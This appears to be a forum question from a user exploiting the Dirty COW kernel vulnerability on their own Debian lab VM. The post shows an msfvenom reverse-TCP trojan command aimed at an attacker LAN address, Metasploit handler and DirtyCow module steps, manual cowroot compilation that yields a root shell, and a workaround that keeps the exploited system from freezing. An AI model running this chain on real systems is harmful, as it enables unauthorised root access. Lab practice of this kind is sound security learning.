I'm testing on some of my Linux Virtual Machines trying to exploit the Dirty Cow Vulnerability and I'm not able to success using Metasploit. First of all... for interested users, a couple of links to "Dirty Cow, What is" vulnerability, "Kernels affected" and explanation. I will explain the long version, maybe useful as manual for others. The question is in the last phrase!
I know that you must be able to launch commands from the "possible victim" machine and the kernel must be one of the affected. Nice, I'm working with a Debian Jessie VM using kernel 3.16 (which is affected).
I know we can compile it manually etc... but the point of my lab is try to "automatize" a little bit using Metasploit. First of all I downloaded the exploit to be used with the Metasploit framework. Is the
.rb file downloaded from Rapid7 Github and adapted for Metasploit by nixawk.
I already put the
.rb file under the right folder for Metasploit, in my case using Kali as "attacker" is
/usr/share/metasploit-framework/modules/exploits/linux/local/ because is on linux category, etc. Now I can see from msfconsole the exploit using
search dirtycow. So, everything looks good at Metasploit! now I can use it. Let's work...
After selecting the exploit
use exploit/linux/local/DirtyCow showing the options
show options, I can see as simple as set the session on which we are going to try to perform the exploit. We don't have one session yet. At the beginning I didn't know if is needed a meterpreter session or what kind of session. After some tests, it seems is needed a linux shell session. Ok, let's prepare the Trojan with the reverse tcp linux shell using
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.159 LPORT=4444 -f elf > /root/Desktop/testTroj. The ip is where my Kali "attacker" linux is, port is ok, there is communication between both machines (victim and atacker) because they are on same LAN, no firewalls, etc..
I prepared the Metasploit "listening" for the shell session using
use exploit/multi/handler , then setting the payload, in this case
set payload linux/x86/shell/reverse_tcp. After that I set the parameters needed, port is default 4444 so is ok,
set lhost 192.168.0.159 which is may lan's attacker Kali machine ip and that's all. I run the exploit keeping it "listening" in background using
Then, I copied manually the file with the Trojan's "present" to the victim's Debian machine and I executed it as root. On Metasploit the session is created on background with the ID 1. Everything ok. Now we select again the DirtyCow's exploit using
use exploit/linux/local/DirtyCow and set the unique parameter needed with the id of our session
set session 1 because the other parameter is fine,
/tmp is ok, the path exists and there is write permissions for everybody. Ready to go... I run the exploit using
exploit and this is my output:
[*] Started reverse TCP handler on 192.168.0.159:4444 [*] Compiling /tmp/UzUvDldaCr.c via gcc [*] Executing at 2016-12-14 22:10:51 +0100. [!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.c' on the target [!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.out' on the target [*] Exploit completed, but no session was created.
It didn't worked... not sure what I'm doing wrong... I try to enter into the session to see what happened using
sessions -i 1 and this is what I found:
[*] Starting interaction with 1... 2737988140 CdjEPizWwVtmWTWAIRRYUSplYyfsbGNI 3.16.0-4-amd64 UkbrQnewfsTjJuZHVygXpxDIFUhDHrVC 65537 ibcpgKMTLBVjxRyDsYoBnPMXbihygWlH ��ABCD%% rgRjAKXaPFXlRUVEilZIdCSnvUxWncoo GLrEcejVuhmqQOuCOdSONoLbOBudHGeX /tmp/UzUvDldaCr.c: In function 'procselfmemThread': /tmp/UzUvDldaCr.c:55:14: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast lseek(f, map, SEEK_SET); ^ In file included from /tmp/UzUvDldaCr.c:8:0: /usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *' extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW; ^ collect2: fatal error: cannot find 'ld' compilation terminated. GGYjQWGSfKLntgwhprtYiCsLJKndFUxl chmod: cannot access '/tmp/UzUvDldaCr.out': No such file or directory /bin//sh: 19: /tmp/UzUvDldaCr.out: not found bQKiCptqxwqFyDAjNVVWmXvVmvedCSXd UVKeynQmJkUxYjSUNJOnVOhDbQdvTykf uMNhdcrJsOycUmRPavHrBJieIZEeBOHd ld ld: no input files
Not sure what is happening.
ld commands are available on Debian's victim machine...
Is everything ok on attackers side? am I doing something wrong? Or is there a problem on victim's machine? Maybe the lack of some tool or something. If anybody can guide me... Thanks!
EDIT: I tried executing the Trojan using root and too I tested using a normal user on Debian's victim machine... the shell session is created in both cases but the final result is the same... same error, same log.
The Metasploit module is based on cowroot PoC, so I downloaded the cowroot.c file from here, copied it manually to Debian's victim machine to try to compile it manually instead of using Metasploit. I Followed the instructions
$ gcc cowroot.c -o cowroot -pthread and I obtained different error... Some warnings but no fatal error:
cowroot.c: In function 'procselfmemThread': cowroot.c:98:17: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast lseek(f, map, SEEK_SET); ^ In file included from cowroot.c:27:0: /usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *' extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW; ^
And if you try it is half working... I mean if you execute it
$ ./cowroot it drops the root shell... but after a while, the entire victim machine hangs completely. So now I'm lost... Why is not working on Metasploit? Is normal to get O.S. freezed after exploit the Dirty Cow vulnerability? Maybe the freeze could be because of compilation warnings?
There is a workaround for the freezing problem. After some googling I found that if you execute previously (or quickly after dropping root shell before freezing) on victim's machine this
echo 0 > /proc/sys/vm/dirty_writeback_centisecs, then you launch the exploit and it doesn't hang the system. I searched inside the code of the Metasploit module (DirtyCow.rb) and I found this:
def on_new_session(client) client.shell_command_token('echo 0 > /proc/sys/vm/dirty_writeback_centisecs') end
So I guess after connecting with metasploit the system is not going to hang... But the point is still not working from Metasploit. :/